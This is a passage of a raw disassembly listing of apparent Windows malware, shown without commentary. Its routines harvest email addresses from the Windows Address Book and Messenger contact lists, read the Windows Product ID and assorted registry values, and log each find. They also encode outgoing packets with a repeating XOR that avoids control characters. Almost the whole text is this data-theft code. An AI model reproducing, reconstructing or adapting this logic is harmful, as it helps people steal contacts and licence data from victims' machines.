		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4351E0	proc near		; CODE XREF: sub_4016F4j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4351E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4351E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435280:				; CODE XREF: ___:loc_401FD7j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017E4
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43551E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 2940000h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43551E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_446F70
		push	eax
		call	near ptr 28E0000h
		nop
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 2900000h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		nop
		call	near ptr 2850000h
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		call	near ptr 2720000h
		nop
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_435359
		push	edi
		nop
		call	near ptr 283076Ch
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435359:				; CODE XREF: ___:00435341j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 27205FDh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_435389
		mov	esi, dword_50F8D8
		push	ebx
		call	esi ; dword_50F8D8
		push	edi
		call	esi ; dword_50F8D8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435389:				; CODE XREF: ___:0043536Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_435428
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4353CB:				; CODE XREF: ___:0043541Ej
		xor	eax, eax
		mov	ecx, edi


loc_4353CF:				; CODE XREF: ___:004353DFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4353CF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4353CB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_435428:				; CODE XREF: ___:004353B7j
		push	edi
		mov	edi, dword_50F8D8
		call	edi ; dword_50F8D8
		push	esi
		nop
		call	near ptr 272080Ch
		push	ebx
		call	edi ; dword_50F8D8
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		nop
		call	near ptr 2940000h
		test	eax, eax
		jnz	loc_43551E
		mov	ebx, off_50FBF0
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_435477:				; CODE XREF: ___:0043550Ej
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_446A88
		push	ecx
		call	ebx ; sub_5EDAB2
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_435513
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_446A7C
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		push	64h
		call	near ptr 2821DA2h
		nop
		jmp	loc_435477
; ---------------------------------------------------------------------------


loc_435513:				; CODE XREF: ___:004354D3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2900000h


loc_43551E:				; CODE XREF: ___:004352A4j
					; ___:004352D4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4355E0	proc near		; CODE XREF: sub_401E47j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4355E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401681
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4355E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_401681
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4356F0	proc near		; CODE XREF: sub_401E4Cj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4356F0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435BC7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_443600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017E4
		mov	edi, dword_50F75C
		push	eax
		push	80000001h
		call	edi ; dword_50F75C
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017E4
		mov	ebp, dword_50F724
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp ; dword_50F724
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_43581C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BCB+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_43581C:				; CODE XREF: sub_4356F0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000002h
		call	edi ; dword_50F75C
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp ; dword_50F724
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435904
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BBF+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435904:				; CODE XREF: sub_4356F0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000005h
		call	edi ; dword_50F75C
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp ; dword_50F724
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_4359EC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_446BB4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_4359EC:				; CODE XREF: sub_4356F0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000000h
		call	edi ; dword_50F75C
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp ; dword_50F724
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435AD4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435AD4:				; CODE XREF: sub_4356F0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000003h
		call	edi ; dword_50F75C
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017E4
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp ; dword_50F724
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_435BBD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435BBD:				; CODE XREF: sub_4356F0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_435C61
; ---------------------------------------------------------------------------


loc_435BC7:				; CODE XREF: sub_4356F0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435C67
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 2940000h
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_435C5C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435C5C:				; CODE XREF: sub_4356F0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_435C61:				; CODE XREF: sub_4356F0+4D2j
		nop
		call	near ptr 2900000h


loc_435C67:				; CODE XREF: sub_4356F0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4356F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435E00	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_435E1D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_435E13:				; CODE XREF: sub_435E00+1Bj
		cmp	[eax+edx], cl
		jz	short loc_435E21
		inc	eax
		cmp	eax, esi
		jl	short loc_435E13


loc_435E1D:				; CODE XREF: sub_435E00+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_435E21:				; CODE XREF: sub_435E00+16j
		pop	esi
		mov	al, 1
		retn
sub_435E00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435E40:				; CODE XREF: ___:00401429j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_435EFC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_435EFC:				; CODE XREF: ___:00435EF3j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_435F3E:				; CODE XREF: ___:00435FB7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_435FB9


loc_435F7E:				; CODE XREF: ___:00435F4Cj
					; ___:00435F5Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_435FB0


loc_435FA3:				; CODE XREF: ___:00435FAEj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_435FA3


loc_435FB0:				; CODE XREF: ___:00435FA1j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_435F3E
; ---------------------------------------------------------------------------


loc_435FB9:				; CODE XREF: ___:00435F7Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi ; dword_50FAC4
		push	ebp
		call	esi ; dword_50FAC4
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4360A0:				; CODE XREF: ___:00401D61j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436152
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436152:				; CODE XREF: ___:00436149j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436194:				; CODE XREF: ___:0043620Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43620F


loc_4361D4:				; CODE XREF: ___:004361A2j
					; ___:004361B2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436206


loc_4361F9:				; CODE XREF: ___:00436204j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4361F9


loc_436206:				; CODE XREF: ___:004361F7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_436194
; ---------------------------------------------------------------------------


loc_43620F:				; CODE XREF: ___:004361D2j
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi ; dword_50FAC4
		push	ebp
		call	esi ; dword_50FAC4
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436300:				; CODE XREF: ___:00401FE1j
		mov	eax, 200Ch
		call	sub_436840
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
